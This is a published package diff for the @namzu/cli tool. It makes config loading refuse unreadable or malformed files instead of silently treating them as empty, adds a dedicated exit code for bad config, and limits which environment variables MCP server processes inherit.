@namzu/cli 8.6.4 → 10.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.d.ts.map +1 -1
- package/dist/cli.js +9 -2
- package/dist/cli.js.map +1 -1
- package/dist/config/load.d.ts +19 -0
- package/dist/config/load.d.ts.map +1 -1
- package/dist/config/load.js +87 -17
- package/dist/config/load.js.map +1 -1
- package/dist/exit-codes.d.ts +14 -1
- package/dist/exit-codes.d.ts.map +1 -1
- package/dist/exit-codes.js +13 -0
- package/dist/exit-codes.js.map +1 -1
- package/dist/index.d.ts +1 -1
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/index.js.map +1 -1
- package/dist/integrations/mcp/servers.d.ts +12 -0
- package/dist/integrations/mcp/servers.d.ts.map +1 -1
- package/dist/integrations/mcp/servers.js +1 -0
- package/dist/integrations/mcp/servers.js.map +1 -1
- package/dist/permissions/rules.d.ts +44 -6
- package/dist/permissions/rules.d.ts.map +1 -1
- package/dist/permissions/rules.js +51 -8
- package/dist/permissions/rules.js.map +1 -1
- package/package.json +3 -3
package/dist/cli.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAiDH,MAAM,WAAW,aAAa;IAC7B,iFAAiF;IACjF,QAAQ,CAAC,IAAI,EAAE,SAAS,MAAM,EAAE,CAAA;CAChC;AAED,wBAAsB,MAAM,CAAC,IAAI,EAAE,aAAa,GAAG,OAAO,CAAC,MAAM,CAAC,
|
|
1
|
+
{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAiDH,MAAM,WAAW,aAAa;IAC7B,iFAAiF;IACjF,QAAQ,CAAC,IAAI,EAAE,SAAS,MAAM,EAAE,CAAA;CAChC;AAED,wBAAsB,MAAM,CAAC,IAAI,EAAE,aAAa,GAAG,OAAO,CAAC,MAAM,CAAC,CAoHjE"}
|
package/dist/cli.js
CHANGED
|
@@ -18,8 +18,8 @@ import { registerAll } from './commands/registry.js';
|
|
|
18
18
|
import { historyCommand, providersJSONCommand, runStreamCommand, skillsJSONCommand, } from './commands/run-stream.js';
|
|
19
19
|
import { runCommand } from './commands/run.js';
|
|
20
20
|
import { stubCommands } from './commands/stubs.js';
|
|
21
|
-
import { loadConfig } from './config/load.js';
|
|
22
|
-
import { EXIT_INTERNAL_ERROR } from './exit-codes.js';
|
|
21
|
+
import { ConfigLoadError, loadConfig } from './config/load.js';
|
|
22
|
+
import { EXIT_BAD_CONFIG, EXIT_INTERNAL_ERROR } from './exit-codes.js';
|
|
23
23
|
import { createFormatter, isFormatName } from './output/index.js';
|
|
24
24
|
import { compilePermissions } from './permissions/rules.js';
|
|
25
25
|
/** sysexits EX_USAGE — command-line argument error. */
|
|
@@ -129,6 +129,13 @@ export async function runCli(opts) {
|
|
|
129
129
|
if (err instanceof CommanderError) {
|
|
130
130
|
return mapCommanderError(err);
|
|
131
131
|
}
|
|
132
|
+
// A config file the operator can fix. The message names the file and
|
|
133
|
+
// what is wrong with it; a stack trace would only point at the reader
|
|
134
|
+
// that noticed, which is not where the problem is.
|
|
135
|
+
if (err instanceof ConfigLoadError) {
|
|
136
|
+
process.stderr.write(`${err.message}\nnamzu will not start with a config it cannot read. Fix the file or remove it.\n`);
|
|
137
|
+
return EXIT_BAD_CONFIG;
|
|
138
|
+
}
|
|
132
139
|
process.stderr.write(`Fatal: ${err instanceof Error ? (err.stack ?? err.message) : String(err)}\n`);
|
|
133
140
|
return EXIT_INTERNAL_ERROR;
|
|
134
141
|
}
|
package/dist/cli.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"cli.js","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAEH,OAAO,EAAE,YAAY,EAAE,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AAC,IAAI,EAAE,CAAC;QAClB,KAAK,yBAAyB,CAAC;QAC/B,KAAK,gBAAgB,CAAC;QACtB,KAAK,mBAAmB;YACvB,OAAO,CAAC,CAAA;QACT,KAAK,0BAA0B,CAAC;QAChC,KAAK,yBAAyB,CAAC;QAC/B,KAAK,2BAA2B,CAAC;QACjC,KAAK,uCAAuC,CAAC;QAC7C,KAAK,2BAA2B,CAAC;QACjC,KAAK,iCAAiC,CAAC;QACvC,KAAK,2BAA2B;YAC/B,OAAO,QAAQ,CAAA;QAChB;YACC,OAAO,mBAAmB,CAAA;IAC5B,CAAC;AACF,CAAC"}
|
package/dist/config/load.d.ts
CHANGED
|
@@ -11,6 +11,11 @@
|
|
|
11
11
|
*
|
|
12
12
|
* In M0 we wire steps 2, 3, 4, 5. CLI-flag merging happens in `bin.ts`
|
|
13
13
|
* where Commander knows what was explicitly set vs defaulted.
|
|
14
|
+
*
|
|
15
|
+
* A file that is not there contributes nothing, and that is a default. A file
|
|
16
|
+
* that IS there and cannot be read throws {@link ConfigLoadError} — this loader
|
|
17
|
+
* has no way to say "some of your settings", and will not pretend the ones it
|
|
18
|
+
* failed to read were never written.
|
|
14
19
|
*/
|
|
15
20
|
import { type NamzuCliConfig } from './schema.js';
|
|
16
21
|
export interface LoadConfigOptions {
|
|
@@ -22,4 +27,18 @@ export interface LoadConfigOptions {
|
|
|
22
27
|
readonly env?: NodeJS.ProcessEnv;
|
|
23
28
|
}
|
|
24
29
|
export declare function loadConfig(opts?: LoadConfigOptions): NamzuCliConfig;
|
|
30
|
+
/**
|
|
31
|
+
* A config file namzu could not read.
|
|
32
|
+
*
|
|
33
|
+
* Its own class rather than a bare `Error` so `cli.ts` can print the message on
|
|
34
|
+
* its own and exit `EXIT_BAD_CONFIG`, instead of the stack trace an internal
|
|
35
|
+
* error deserves and an operator's typo does not.
|
|
36
|
+
*/
|
|
37
|
+
export declare class ConfigLoadError extends Error {
|
|
38
|
+
/** The file whose contents could not be established. */
|
|
39
|
+
readonly path: string;
|
|
40
|
+
constructor(path: string, message: string, options?: {
|
|
41
|
+
cause?: unknown;
|
|
42
|
+
});
|
|
43
|
+
}
|
|
25
44
|
//# sourceMappingURL=load.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"load.d.ts","sourceRoot":"","sources":["../../src/config/load.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"load.d.ts","sourceRoot":"","sources":["../../src/config/load.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AAWH,OAAO,EAAkB,KAAK,cAAc,EAAE,MAAM,aAAa,CAAA;AAEjE,MAAM,WAAW,iBAAiB;IACjC,8CAA8C;IAC9C,QAAQ,CAAC,IAAI,CAAC,EAAE,MAAM,CAAA;IACtB,gEAAgE;IAChE,QAAQ,CAAC,GAAG,CAAC,EAAE,MAAM,CAAA;IACrB,wCAAwC;IACxC,QAAQ,CAAC,GAAG,CAAC,EAAE,MAAM,CAAC,UAAU,CAAA;CAChC;AAED,wBAAgB,UAAU,CAAC,IAAI,GAAE,iBAAsB,GAAG,cAAc,CAavE;AAED;;;;;;GAMG;AACH,qBAAa,eAAgB,SAAQ,KAAK;IACzC,wDAAwD;IACxD,QAAQ,CAAC,IAAI,EAAE,MAAM,CAAA;gBAET,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE;QAAE,KAAK,CAAC,EAAE,OAAO,CAAA;KAAE;CAKxE"}
|
package/dist/config/load.js
CHANGED
|
@@ -11,6 +11,11 @@
|
|
|
11
11
|
*
|
|
12
12
|
* In M0 we wire steps 2, 3, 4, 5. CLI-flag merging happens in `bin.ts`
|
|
13
13
|
* where Commander knows what was explicitly set vs defaulted.
|
|
14
|
+
*
|
|
15
|
+
* A file that is not there contributes nothing, and that is a default. A file
|
|
16
|
+
* that IS there and cannot be read throws {@link ConfigLoadError} — this loader
|
|
17
|
+
* has no way to say "some of your settings", and will not pretend the ones it
|
|
18
|
+
* failed to read were never written.
|
|
14
19
|
*/
|
|
15
20
|
import { readFileSync } from 'node:fs';
|
|
16
21
|
import { homedir } from 'node:os';
|
|
@@ -29,27 +34,102 @@ export function loadConfig(opts = {}) {
|
|
|
29
34
|
const envCfg = readEnv(env);
|
|
30
35
|
return mergeConfigs(DEFAULT_CONFIG, userCfg, projectCfg, envCfg);
|
|
31
36
|
}
|
|
37
|
+
/**
|
|
38
|
+
* A config file namzu could not read.
|
|
39
|
+
*
|
|
40
|
+
* Its own class rather than a bare `Error` so `cli.ts` can print the message on
|
|
41
|
+
* its own and exit `EXIT_BAD_CONFIG`, instead of the stack trace an internal
|
|
42
|
+
* error deserves and an operator's typo does not.
|
|
43
|
+
*/
|
|
44
|
+
export class ConfigLoadError extends Error {
|
|
45
|
+
/** The file whose contents could not be established. */
|
|
46
|
+
path;
|
|
47
|
+
constructor(path, message, options) {
|
|
48
|
+
super(message, options);
|
|
49
|
+
this.name = 'ConfigLoadError';
|
|
50
|
+
this.path = path;
|
|
51
|
+
}
|
|
52
|
+
}
|
|
32
53
|
function readYamlIfExists(path) {
|
|
33
|
-
const raw =
|
|
54
|
+
const raw = readIfPresent(path);
|
|
34
55
|
if (raw === null)
|
|
35
56
|
return {};
|
|
57
|
+
let parsed;
|
|
36
58
|
try {
|
|
37
|
-
|
|
59
|
+
parsed = yamlParse(raw);
|
|
38
60
|
}
|
|
39
|
-
catch {
|
|
40
|
-
|
|
61
|
+
catch (cause) {
|
|
62
|
+
throw new ConfigLoadError(path, `${path} is not valid YAML: ${reasonOf(cause)}`, { cause });
|
|
41
63
|
}
|
|
64
|
+
return asConfigObject(path, parsed);
|
|
42
65
|
}
|
|
43
66
|
function readJsonIfExists(path) {
|
|
44
|
-
const raw =
|
|
67
|
+
const raw = readIfPresent(path);
|
|
45
68
|
if (raw === null)
|
|
46
69
|
return {};
|
|
70
|
+
let parsed;
|
|
71
|
+
try {
|
|
72
|
+
parsed = JSON.parse(raw);
|
|
73
|
+
}
|
|
74
|
+
catch (cause) {
|
|
75
|
+
throw new ConfigLoadError(path, `${path} is not valid JSON: ${reasonOf(cause)}`, { cause });
|
|
76
|
+
}
|
|
77
|
+
return asConfigObject(path, parsed);
|
|
78
|
+
}
|
|
79
|
+
/**
|
|
80
|
+
* The file's text, or `null` when the file is genuinely not there.
|
|
81
|
+
*
|
|
82
|
+
* Absent and unreadable used to share one `catch`, and the shared answer was
|
|
83
|
+
* `{}` — "no settings". For a file nobody wrote that is the right default. For
|
|
84
|
+
* one that exists and could not be opened it is the wrong one, and wrong in the
|
|
85
|
+
* direction that never announces itself: `permissions` is read from these files,
|
|
86
|
+
* so an unreadable config becomes an empty rule table, and a headless run
|
|
87
|
+
* resolves every call no rule covered to `auto`. The operator's deny list
|
|
88
|
+
* becomes approval of the same calls, on the one path where nobody is watching.
|
|
89
|
+
*
|
|
90
|
+
* So only "the file is not there" reads as no settings. `ENOENT` is the file
|
|
91
|
+
* itself missing; `ENOTDIR` is a parent that is not a directory, which means the
|
|
92
|
+
* same thing — nothing was ever written at that path. A permission error, a
|
|
93
|
+
* directory where a file belongs, or an I/O failure all mean the file exists and
|
|
94
|
+
* its contents could not be established, and that is a refusal.
|
|
95
|
+
*
|
|
96
|
+
* See `docs/conventions/an-optional-dependency-may-not-degrade-a-check.md`: the
|
|
97
|
+
* degradation that matters is the one turning "I cannot establish this" into
|
|
98
|
+
* "this is satisfied".
|
|
99
|
+
*/
|
|
100
|
+
function readIfPresent(path) {
|
|
47
101
|
try {
|
|
48
|
-
return
|
|
102
|
+
return readFileSync(path, 'utf8');
|
|
49
103
|
}
|
|
50
|
-
catch {
|
|
104
|
+
catch (cause) {
|
|
105
|
+
const code = cause?.code;
|
|
106
|
+
if (code === 'ENOENT' || code === 'ENOTDIR')
|
|
107
|
+
return null;
|
|
108
|
+
throw new ConfigLoadError(path, `${path} could not be read: ${reasonOf(cause)}`, { cause });
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
/**
|
|
112
|
+
* The parsed document as a config object, refusing anything that is not one.
|
|
113
|
+
*
|
|
114
|
+
* An empty file parses to `null`, and that is a genuine "no settings" — a file
|
|
115
|
+
* someone emptied says nothing, which is what it looks like. A scalar or a list
|
|
116
|
+
* is different: it is content namzu cannot read as settings, and admitting it as
|
|
117
|
+
* `{}` is the same fail-open as the unreadable file one function up, reached by
|
|
118
|
+
* a different route.
|
|
119
|
+
*/
|
|
120
|
+
function asConfigObject(path, parsed) {
|
|
121
|
+
if (parsed === null || parsed === undefined)
|
|
51
122
|
return {};
|
|
123
|
+
if (typeof parsed !== 'object' || Array.isArray(parsed)) {
|
|
124
|
+
throw new ConfigLoadError(path, `${path} must contain a mapping of settings, but its top level is ${describe(parsed)}`);
|
|
52
125
|
}
|
|
126
|
+
return sanitize(parsed);
|
|
127
|
+
}
|
|
128
|
+
function describe(value) {
|
|
129
|
+
return Array.isArray(value) ? 'a list' : `a ${typeof value}`;
|
|
130
|
+
}
|
|
131
|
+
function reasonOf(cause) {
|
|
132
|
+
return cause instanceof Error ? cause.message : String(cause);
|
|
53
133
|
}
|
|
54
134
|
const CONFIG_READERS = {
|
|
55
135
|
format: (v) => (typeof v === 'string' && isFormatName(v) ? v : undefined),
|
|
@@ -78,8 +158,6 @@ function readEnv(env) {
|
|
|
78
158
|
return out;
|
|
79
159
|
}
|
|
80
160
|
function sanitize(value) {
|
|
81
|
-
if (typeof value !== 'object' || value === null)
|
|
82
|
-
return {};
|
|
83
161
|
const v = value;
|
|
84
162
|
const out = {};
|
|
85
163
|
for (const key of Object.keys(CONFIG_READERS)) {
|
|
@@ -102,12 +180,4 @@ function mergeConfigs(...sources) {
|
|
|
102
180
|
Object.assign(out, src);
|
|
103
181
|
return out;
|
|
104
182
|
}
|
|
105
|
-
function safeRead(path) {
|
|
106
|
-
try {
|
|
107
|
-
return readFileSync(path, 'utf8');
|
|
108
|
-
}
|
|
109
|
-
catch {
|
|
110
|
-
return null;
|
|
111
|
-
}
|
|
112
|
-
}
|
|
113
183
|
//# sourceMappingURL=load.js.map
|
package/dist/config/load.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"load.js","sourceRoot":"","sources":["../../src/config/load.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"load.js","sourceRoot":"","sources":["../../src/config/load.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AAEH,OAAO,EAAE,YAAY,EAAE,MAAM,SAAS,CAAA;AACtC,OAAO,EAAE,OAAO,EAAE,MAAM,SAAS,CAAA;AACjC,OAAO,EAAE,IAAI,EAAE,OAAO,EAAE,MAAM,WAAW,CAAA;AAEzC,OAAO,EAAE,KAAK,IAAI,SAAS,EAAE,MAAM,MAAM,CAAA;AAGzC,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAA;AAEjD,OAAO,EAAE,cAAc,EAAuB,MAAM,aAAa,CAAA;AAWjE,MAAM,UAAU,UAAU,CAAC,OAA0B,EAAE;IACtD,MAAM,IAAI,GAAG,IAAI,CAAC,IAAI,IAAI,OAAO,EAAE,CAAA;IACnC,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,IAAI,OAAO,CAAC,GAAG,EAAE,CAAA;IACrC,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,IAAI,OAAO,CAAC,GAAG,CAAA;IAEnC,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,EAAE,QAAQ,EAAE,aAAa,CAAC,CAAA;IACpD,MAAM,WAAW,GAAG,OAAO,CAAC,GAAG,EAAE,mBAAmB,CAAC,CAAA;IAErD,MAAM,OAAO,GAAG,gBAAgB,CAAC,QAAQ,CAAC,CAAA;IAC1C,MAAM,UAAU,GAAG,gBAAgB,CAAC,WAAW,CAAC,CAAA;IAChD,MAAM,MAAM,GAAG,OAAO,CAAC,GAAG,CAAC,CAAA;IAE3B,OAAO,YAAY,CAAC,cAAc,EAAE,OAAO,EAAE,UAAU,EAAE,MAAM,CAAC,CAAA;AACj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I,KAAK,KAAK,OAAO;QAAE,GAAG,CAAC,KAAK,GAAG,KAAK,CAAA;IACzD,OAAO,GAAG,CAAA;AACX,CAAC;AAED,SAAS,QAAQ,CAAC,KAAa;IAC9B,MAAM,CAAC,GAAG,KAAgC,CAAA;IAC1C,MAAM,GAAG,GAAkB,EAAE,CAAA;IAC7B,KAAK,MAAM,GAAG,IAAI,MAAM,CAAC,IAAI,CAAC,cAAc,CAA6B,EAAE,CAAC;QAC3E,IAAI,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;YAAE,SAAQ;QACzB,MAAM,MAAM,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAA;QAC1C,mEAAmE;QACnE,iEAAiE;QACjE,IAAI,MAAM,KAAK,SAAS;YAAG,GAA+B,CAAC,GAAG,CAAC,GAAG,MAAM,CAAA;IACzE,CAAC;IACD,OAAO,GAAG,CAAA;AACX,CAAC;AAED,8EAA8E;AAC9E,4EAA4E;AAC5E,gEAAgE;AAChE,SAAS,YAAY,CAAC,GAAG,OAAiC;IACzD,MAAM,GAAG,GAAkB,EAAE,CAAA;IAC7B,KAAK,MAAM,GAAG,IAAI,OAAO;QAAE,MAAM,CAAC,MAAM,CAAC,GAAG,EAAE,GAAG,CAAC,CAAA;IAClD,OAAO,GAAG,CAAA;AACX,CAAC"}
|
package/dist/exit-codes.d.ts
CHANGED
|
@@ -37,6 +37,18 @@
|
|
|
37
37
|
* nothing else is. A caller who cannot tell them
|
|
38
38
|
* apart matches on the message string, and then
|
|
39
39
|
* the message can never be reworded.
|
|
40
|
+
* 78 EXIT_BAD_CONFIG — sysexits EX_CONFIG; a config file is present and
|
|
41
|
+
* its contents could not be established, so the
|
|
42
|
+
* run refused to start rather than continue with
|
|
43
|
+
* settings it failed to read. Distinct from 2 for
|
|
44
|
+
* the reason 2 is distinct from 0: "namzu is not
|
|
45
|
+
* configured here" and "your configuration is
|
|
46
|
+
* unreadable" are fixed by opposite actions, and a
|
|
47
|
+
* caller that cannot tell them apart treats a
|
|
48
|
+
* broken file as an absent one — which is the
|
|
49
|
+
* fail-open this code exists to make visible.
|
|
50
|
+
* Distinct from 70 on the same grounds as 64: 70
|
|
51
|
+
* says this CLI is broken, 78 says the file is.
|
|
40
52
|
*/
|
|
41
53
|
export declare const EXIT_OK = 0;
|
|
42
54
|
export declare const EXIT_FAIL = 1;
|
|
@@ -45,5 +57,6 @@ export declare const EXIT_USAGE = 64;
|
|
|
45
57
|
export declare const EXIT_UNAVAILABLE = 69;
|
|
46
58
|
export declare const EXIT_INTERNAL_ERROR = 70;
|
|
47
59
|
export declare const EXIT_UNTRUSTED = 77;
|
|
48
|
-
export
|
|
60
|
+
export declare const EXIT_BAD_CONFIG = 78;
|
|
61
|
+
export type CliExitCode = typeof EXIT_OK | typeof EXIT_FAIL | typeof EXIT_NO_CONFIG | typeof EXIT_USAGE | typeof EXIT_UNAVAILABLE | typeof EXIT_INTERNAL_ERROR | typeof EXIT_UNTRUSTED | typeof EXIT_BAD_CONFIG;
|
|
49
62
|
//# sourceMappingURL=exit-codes.d.ts.map
|
package/dist/exit-codes.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"exit-codes.d.ts","sourceRoot":"","sources":["../src/exit-codes.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"exit-codes.d.ts","sourceRoot":"","sources":["../src/exit-codes.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAmDG;AACH,eAAO,MAAM,OAAO,IAAI,CAAA;AACxB,eAAO,MAAM,SAAS,IAAI,CAAA;AAC1B,eAAO,MAAM,cAAc,IAAI,CAAA;AAC/B,eAAO,MAAM,UAAU,KAAK,CAAA;AAC5B,eAAO,MAAM,gBAAgB,KAAK,CAAA;AAClC,eAAO,MAAM,mBAAmB,KAAK,CAAA;AACrC,eAAO,MAAM,cAAc,KAAK,CAAA;AAChC,eAAO,MAAM,eAAe,KAAK,CAAA;AAEjC,MAAM,MAAM,WAAW,GACpB,OAAO,OAAO,GACd,OAAO,SAAS,GAChB,OAAO,cAAc,GACrB,OAAO,UAAU,GACjB,OAAO,gBAAgB,GACvB,OAAO,mBAAmB,GAC1B,OAAO,cAAc,GACrB,OAAO,eAAe,CAAA"}
|
package/dist/exit-codes.js
CHANGED
|
@@ -37,6 +37,18 @@
|
|
|
37
37
|
* nothing else is. A caller who cannot tell them
|
|
38
38
|
* apart matches on the message string, and then
|
|
39
39
|
* the message can never be reworded.
|
|
40
|
+
* 78 EXIT_BAD_CONFIG — sysexits EX_CONFIG; a config file is present and
|
|
41
|
+
* its contents could not be established, so the
|
|
42
|
+
* run refused to start rather than continue with
|
|
43
|
+
* settings it failed to read. Distinct from 2 for
|
|
44
|
+
* the reason 2 is distinct from 0: "namzu is not
|
|
45
|
+
* configured here" and "your configuration is
|
|
46
|
+
* unreadable" are fixed by opposite actions, and a
|
|
47
|
+
* caller that cannot tell them apart treats a
|
|
48
|
+
* broken file as an absent one — which is the
|
|
49
|
+
* fail-open this code exists to make visible.
|
|
50
|
+
* Distinct from 70 on the same grounds as 64: 70
|
|
51
|
+
* says this CLI is broken, 78 says the file is.
|
|
40
52
|
*/
|
|
41
53
|
export const EXIT_OK = 0;
|
|
42
54
|
export const EXIT_FAIL = 1;
|
|
@@ -45,4 +57,5 @@ export const EXIT_USAGE = 64;
|
|
|
45
57
|
export const EXIT_UNAVAILABLE = 69;
|
|
46
58
|
export const EXIT_INTERNAL_ERROR = 70;
|
|
47
59
|
export const EXIT_UNTRUSTED = 77;
|
|
60
|
+
export const EXIT_BAD_CONFIG = 78;
|
|
48
61
|
//# sourceMappingURL=exit-codes.js.map
|
package/dist/exit-codes.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"exit-codes.js","sourceRoot":"","sources":["../src/exit-codes.ts"],"names":[],"mappings":"AAAA
|
|
1
|
+
{"version":3,"file":"exit-codes.js","sourceRoot":"","sources":["../src/exit-codes.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAmDG;AACH,MAAM,CAAC,MAAM,OAAO,GAAG,CAAC,CAAA;AACxB,MAAM,CAAC,MAAM,SAAS,GAAG,CAAC,CAAA;AAC1B,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,CAAA;AAC/B,MAAM,CAAC,MAAM,UAAU,GAAG,EAAE,CAAA;AAC5B,MAAM,CAAC,MAAM,gBAAgB,GAAG,EAAE,CAAA;AAClC,MAAM,CAAC,MAAM,mBAAmB,GAAG,EAAE,CAAA;AACrC,MAAM,CAAC,MAAM,cAAc,GAAG,EAAE,CAAA;AAChC,MAAM,CAAC,MAAM,eAAe,GAAG,EAAE,CAAA"}
|
package/dist/index.d.ts
CHANGED
|
@@ -11,6 +11,6 @@ export { runCli, type RunCliOptions } from './cli.js';
|
|
|
11
11
|
export type { CommandContext, CommandDef, CommandHandler, CommandHandlerArgs, } from './commands/types.js';
|
|
12
12
|
export { registerAll, registerCommand, type RegisterOptions, } from './commands/registry.js';
|
|
13
13
|
export { createFormatter, type FormatName, type Formatter, type FormatterOptions, isFormatName, } from './output/index.js';
|
|
14
|
-
export { loadConfig, type LoadConfigOptions } from './config/load.js';
|
|
14
|
+
export { ConfigLoadError, loadConfig, type LoadConfigOptions } from './config/load.js';
|
|
15
15
|
export { DEFAULT_CONFIG, type NamzuCliConfig } from './config/schema.js';
|
|
16
16
|
//# sourceMappingURL=index.d.ts.map
|
package/dist/index.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,OAAO,EACN,oBAAoB,EACpB,MAAM,EACN,cAAc,EACd,mBAAmB,EACnB,SAAS,GACT,MAAM,sBAAsB,CAAA;AAC7B,YAAY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AAc,EACd,UAAU,EACV,cAAc,EACd,kBAAkB,GAClB,MAAM,qBAAqB,CAAA;AAC5B,OAAO,EACN,WAAW,EACX,eAAe,EACf,KAAK,eAAe,GACpB,MAAM,wBAAwB,CAAA;AAC/B,OAAO,EACN,eAAe,EACf,KAAK,UAAU,EACf,KAAK,SAAS,EACd,KAAK,gBAAgB,EACrB,YAAY,GACZ,MAAM,mBAAmB,CAAA;AAC1B,OAAO,EAAE,eAAe,EAAE,UAAU,EAAE,KAAK,iBAAiB,EAAE,MAAM,kBAAkB,CAAA;AACtF,OAAO,EAAE,cAAc,EAAE,KAAK,cAAc,EAAE,MAAM,oBAAoB,CAAA"}
|
package/dist/index.js
CHANGED
|
@@ -11,6 +11,6 @@ export { runDoctorCommand } from './commands/doctor.js';
|
|
|
11
11
|
export { runCli } from './cli.js';
|
|
12
12
|
export { registerAll, registerCommand, } from './commands/registry.js';
|
|
13
13
|
export { createFormatter, isFormatName, } from './output/index.js';
|
|
14
|
-
export { loadConfig } from './config/load.js';
|
|
14
|
+
export { ConfigLoadError, loadConfig } from './config/load.js';
|
|
15
15
|
export { DEFAULT_CONFIG } from './config/schema.js';
|
|
16
16
|
//# sourceMappingURL=index.js.map
|
package/dist/index.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,iEAAiE;AACjE,OAAO,EACN,oBAAoB,EACpB,MAAM,EACN,cAAc,EACd,mBAAmB,EACnB,SAAS,GACT,MAAM,sBAAsB,CAAA;AAG7B,OAAO,EACN,mBAAmB,EACnB,sBAAsB,EACtB,gBAAgB,EAChB,kBAAkB,EAClB,wBAAwB,EACxB,oBAAoB,EACpB,uBAAuB,EACvB,mBAAmB,EACnB,oBAAoB,GACpB,MAAM,0BAA0B,CAAA;AAEjC,OAAO,EAAE,gBAAgB,EAAE,MAAM,sBAAsB,CAAA;AAEvD,yCAAyC;AACzC,OAAO,EAAE,MAAM,EAAsB,MAAM,UAAU,CAAA;AAOrD,OAAO,EACN,WAAW,EACX,eAAe,GAEf,MAAM,wBAAwB,CAAA;AAC/B,OAAO,EACN,eAAe,EAIf,YAAY,GACZ,MAAM,mBAAmB,CAAA;AAC1B,OAAO,EAAE,UAAU,EAA0B,MAAM,kBAAkB,CAAA;
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,iEAAiE;AACjE,OAAO,EACN,oBAAoB,EACpB,MAAM,EACN,cAAc,EACd,mBAAmB,EACnB,SAAS,GACT,MAAM,sBAAsB,CAAA;AAG7B,OAAO,EACN,mBAAmB,EACnB,sBAAsB,EACtB,gBAAgB,EAChB,kBAAkB,EAClB,wBAAwB,EACxB,oBAAoB,EACpB,uBAAuB,EACvB,mBAAmB,EACnB,oBAAoB,GACpB,MAAM,0BAA0B,CAAA;AAEjC,OAAO,EAAE,gBAAgB,EAAE,MAAM,sBAAsB,CAAA;AAEvD,yCAAyC;AACzC,OAAO,EAAE,MAAM,EAAsB,MAAM,UAAU,CAAA;AAOrD,OAAO,EACN,WAAW,EACX,eAAe,GAEf,MAAM,wBAAwB,CAAA;AAC/B,OAAO,EACN,eAAe,EAIf,YAAY,GACZ,MAAM,mBAAmB,CAAA;AAC1B,OAAO,EAAE,eAAe,EAAE,UAAU,EAA0B,MAAM,kBAAkB,CAAA;AACtF,OAAO,EAAE,cAAc,EAAuB,MAAM,oBAAoB,CAAA"}
|
|
@@ -56,6 +56,18 @@ export interface McpServerSpec {
|
|
|
56
56
|
readonly command?: string;
|
|
57
57
|
readonly args?: readonly string[];
|
|
58
58
|
readonly env?: Readonly<Record<string, string>>;
|
|
59
|
+
/**
|
|
60
|
+
* Variables from the operator's own environment this server may have.
|
|
61
|
+
*
|
|
62
|
+
* The child used to receive the whole parent environment, so every server
|
|
63
|
+
* held every credential on the machine. It now gets process plumbing plus
|
|
64
|
+
* what is named — so a server that needs one token is granted that token,
|
|
65
|
+
* and the config is where a reviewer can see it.
|
|
66
|
+
*
|
|
67
|
+
* Prefer this over `env` for anything secret: `env` writes the value into
|
|
68
|
+
* the config file, and this leaves it in the environment.
|
|
69
|
+
*/
|
|
70
|
+
readonly inheritEnv?: readonly string[];
|
|
59
71
|
/** Working directory for the child. Defaults to the agent's. */
|
|
60
72
|
readonly cwd?: string;
|
|
61
73
|
/** HTTP: the server's endpoint. */
|
|
@@ -1 +1 @@
|
|
|
1
|
-
